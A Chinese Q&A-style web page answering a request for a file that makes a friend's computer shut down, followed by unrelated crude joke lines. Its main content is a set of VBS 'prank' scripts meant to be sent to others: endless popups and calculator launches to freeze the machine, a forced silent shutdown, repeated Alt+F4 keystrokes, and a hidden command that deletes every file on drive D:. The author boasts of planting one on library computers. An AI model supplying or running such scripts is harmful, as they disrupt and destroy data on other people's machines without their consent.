有没有恶搞朋友的,给他电脑发个文件就会让他自动关机的代码?

有没有恶搞朋友的,给他电脑发个文件就会让他自动关机的代码?,第1张

vbs整人代码大集合,罩启收集的比较全,喜欢的朋友可以参考下。不要搞破坏,学习vbs的朋友非常有帮助,死循环的使用比较多。新建一个记事本 把下面的代码复制进去 另存为VBE格式的就可以了 :

一、我就用这个程序放在学校图书馆查询书刊的机器上,好多人都那它没办法,哈哈

do

msgbox "You are foolish!"

loop

----------------------------------------------------------------------------

二、打开无数个计算器,直到死机

set wsh=createobject("wscript.shell")

do

wsh.run "calc"

loop

----------------------------------------------------------------------------

三、直接关机

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "shutdown -f -s -t 00",0 ,true

---------------------------------------------------------------------------

四、删除D:\所有文件

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

----------------------------------------------------------------------------

五、不断d出窗口

while(1)

msgbox "哈哈 你被耍了!"

loop

----------------------------------------------------------------------------

六、不断按下alt+f4 (开什么都关闭……)

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

while(1)

WSHshell.SendKeys "%{F4}" loop

---------------------------------------------------------------------------

七、按500次回车

(以上代码在运行者的电脑上显示500个对话框。其中 do until s=500 ,500可以随意更改)

dim s

do until s=500

s=s+1

msgbox "哥们,给我按500次回车吧",64

loop

---------------------------------------------------------------------------

八、关不掉的窗口

WScript.Echo("嘿,谢谢你打开我哦,我等你很久拉!"&TSName)

WScript.Echo("你是可爱的小朋吗?") WScript.Echo("哈,我想你拉,这你都不知道吗?")

WScript.Echo("怎么才来,说~是不是不关心我") WScript.Echo("哼,我生气拉,等你这么久,心都凉啦。")

WScript.Echo("小强很生气,后果很严重哦。") WScript.Echo("嘿嘿!你也会很惨滴哦")

WScript.Echo("是不是想清除我?") WScript.Echo("那你要点上50下哦,不过会给衫颂你惊喜滴")

WScript.Echo("还剩49下,快点点哦") WScript.Echo("还剩48下,快点,小笨蛋!")

WScript.Echo("还剩47下对,就这样快点点!") WScript.Echo("还剩46下。你啊就是笨,要快哦,我先不打扰你工作。")

WScript.Echo("还剩45下,记得要快哦!") WScript.Echo("还剩43下")

WScript.Echo("还剩42下")

WScript.Echo("还或闷郑剩41下") WScript.Echo("还剩40下")

WScript.Echo("还剩39下")

WScript.Echo("还剩38下") WScript.Echo("还剩37下")

WScript.Echo("还剩36下")

WScript.Echo("还剩35下") WScript.Echo("还剩34下")

WScript.Echo("还剩33下")

WScript.Echo("还剩32下") WScript.Echo("还剩30下")

WScript.Echo("还剩29下")

WScript.Echo("还剩28下") WScript.Echo("还剩27下")

WScript.Echo("还剩26下")

WScript.Echo("还剩25下") WScript.Echo("还剩24下")

WScript.Echo("还剩23下")

WScript.Echo("还剩22下") WScript.Echo("还剩21下")

WScript.Echo("还剩20下")

WScript.Echo("还剩19下") WScript.Echo("还剩18下")

WScript.Echo("还剩17下")

WScript.Echo("还剩16下") WScript.Echo("还剩15下")

WScript.Echo("还剩14下") WScript.Echo("还剩13下停停!!!慢点,我有话要说")

WScript.Echo("还剩12下,你继续点我就会消失滴") WScript.Echo("还剩11下,以后就看不到我拉。555555")

WScript.Echo("还剩10下,你现在可以选择停止!") WScript.Echo("还剩9下。你还点啊,不要我拉?")

WScript.Echo("还剩8下,有点伤心拉,干嘛丢弃人家") WScript.Echo("还剩7下。疯了,你有点负意!")

WScript.Echo("还剩6下。对。你就点吧,我恨你!") WScript.Echo("还剩5下,不明白,删除我你就好吗?")

WScript.Echo("还剩4下!真要删除我?") WScript.Echo("还剩3下。可是我真的很眷恋你。。。")

WScript.Echo("还剩2下。不要这么绝情嘛,人家是爱你的!") WScript.Echo("还剩1下。哼,既然你这么绝情。也别怪我无义!!!") WScript.Echo("我本因该消失的,不过我留恋你滴芳容,上帝又给了一次机会。")

WScript.Echo("想结素我么?那你就再多点一次")

WScript.Echo("想结素我么?那你就再多点一次")

WScript.Echo("想结素我么?那你就再多点一次")

WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次")

WScript.Echo("想结素我么?那你就再多点一次")

WScript.Echo("想结素我么?那你就再多点一次")

WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次")

WScript.Echo("想结素我么?那你就再多点一次")

-----------------------------------------------------------------

为了友谊的小船,请谨慎使用

恶搞朋友的文字

恶搞朋友的文字,恶搞是人的天性,恶搞的不止有人,很多地方都可以试试,但恶搞也要有底线,玩笑过头那就是不是玩笑了,会成悲剧的,所以我们在对别人是要真诚为好,恶搞朋友的文字。

恶搞朋友的文字1

1、有人对你说,我家冲马桶都用矿泉水,你怎么回应?老子尿出来都的都是皇家礼炮。

2、业余爱好中必有一项是睡觉。凌晨12点以前很少会睡着,但没有重要的事不会在8点以前起床。其实我们不困,就是想睡。

3、说好一起到白头,你却偷偷焗了油。

4、人生如梦,我失眠;人生如戏,我穿帮;人生如歌,我跑调;人生战场,我走火。

5、一切打着人民的旗号修筑的工程。都是豆]腐渣工程。

6、灯光摇曳的时候,白富美都捧着收到的苹果5依偎在宾馆里高富帅赤裸的胸膛上了,悲催的屌丝们还在拿着红富士在寒风中想象着女神收到时的喜悦。

7、大便的离去,是马桶的召唤,还是肛门的不留?

8、之烂扮前大家一直称呼我为穷屌丝、矮穷挫、矮胖丑,今天才知道,原来我还可以有一个更恰当的称呼--土肥圆!

9、我仰慕过黄家驹,他摔死了;我仰慕过陈百强,他嗑]药去世了;我仰慕过张国荣,他跳楼坦段自杀了;我仰慕过大哥柯受良,他患病走了;我仰慕过迈克尔杰克逊,他……哎,啥 都不说了,说起来眼泪哗哗地!我现在准备仰慕城管,谁都别拦我!

10、听到隔壁女厕哗哗哗哗的声音,他凝视着两边通连汇聚一起的黄色液体,心想,饥信灶总算与女神有了一种交流,于是心情无比舒畅。

11、不经历人]渣,怎么能出嫁,没有人能随随便便当妈。

12、基友就是一起吃肯德基的朋友,炮]友就是一起吃泡面的朋友。前者注重交流,后者注重效率。

13、富就富在不知足,贵就贵在能脱俗。贫就贫在少见识,贱就贱在没骨气。

14、在猪眼中,世上最愚蠢的动物也许是人。

15、男人爱 *** ,女人爱钞!男人昧着良心谈情说爱,女人闭着眼睛假装高潮!其实生活不易,全tm靠演技!

16、近猪者胖,近尿者骚。

17、对一个男屌丝来说,最狠的拒绝不是“你配不上我”,而是“你不配上我”。

恶搞朋友的文字2

1、如果你和欺负我的.人一起玩,那就是欺负我。

2、爱一个人好难,爱两个人好烦,爱三3个人翻船。

3、你就像一颗好看的糖果,咬一口发现还是夹心的。

4、肉厚三尺非一日之馋。

5、命里有时终须有,命里无时简直气死我了。

6、漫漫人生路,谁不错两步。

7、有些人一旦错过,真是谢天谢地。

8、男至穷则无妻,女至胖则无衣。

9、人生最大的愿望就是吃一碗广告里的泡面。

10、快去睡,不然你的梦中情人就跟别人跑了。

11、复习的小船说翻就翻,睡觉的欲望说来就来。

12、唠嗑归唠嗑,别总掏心窝。

13、做个废柴,没有梦想,吃饭睡觉,保持可爱。

14、太久没碰笔,现在我写作业有种皇上批奏章的感觉。

15、不是读书没用,而是你读书没用,主要是你没用。

16、瞧我这记性,又把你当人看了。

恶搞朋友的文字3

1、男人要有钱,和谁都有缘。

2、亲人之间,谈到钱就伤感情;情人之间,谈到感情就伤钱。

3、今天跟一个朋友友尽了,真的无法忍受这样的人,他竟然用我的充电宝给他的充电宝充电。

4、以后若是生活艰难,还靠各位名牌大学的朋友们多照顾。

5、如果哪一天你突然想起我,请拿起手机拨通我的号码,哪怕我再忙再没空,只要你一句 我请你吃饭 ,我都会风雨无阻的出现在你的面前。 这是我对朋友一生一世的承诺!

6、当好朋友有了对象后,我就觉得自己养了很多年的猪被人吃了。关于朋友的搞笑说说。

7、什么是朋友?就是放桌子上500块钱不会丢,放一包瓜子回来就剩一堆皮了。

8、刚刚有十个人打我朋友,我冲上去就解决了一半,五个打我,五个打他。

9、这段日子以来,我一直想对你说三个字,但又怕说了连普通朋友也做不成,可我控制不住,还是想说:借点钱!

10、如果你觉得我变得经常骂你,时不时对你爆粗口,那么恭喜你,我们混熟了。

11、和我做朋友的三个好处,显高显瘦显富。

12、兄弟你千万不要死,要撑住,前面还有更大的困难等着你了,你死了这困难由谁扛呀。

13、我们不能一起出生,但是我们可以一起祸害苍生。

14、今天一兄弟跑来找我说他女票不见了,看他那着急样我就问他,你什么时候有的女票啊!只见他害羞的低下了头说道:就是那种偶尔充气,还不会生气的女票。

15、因为你手里有我的丑照,所以你要和我做一辈子朋友。

16、能跟我玩在一起的有两种人,一种是能忍受我发神经病的人,一种是和我一样神经病的人。


欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/tougao/12168659.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2023-05-21
下一篇 2023-05-21

发表评论

登录后才能评论

评论列表(0条)

保存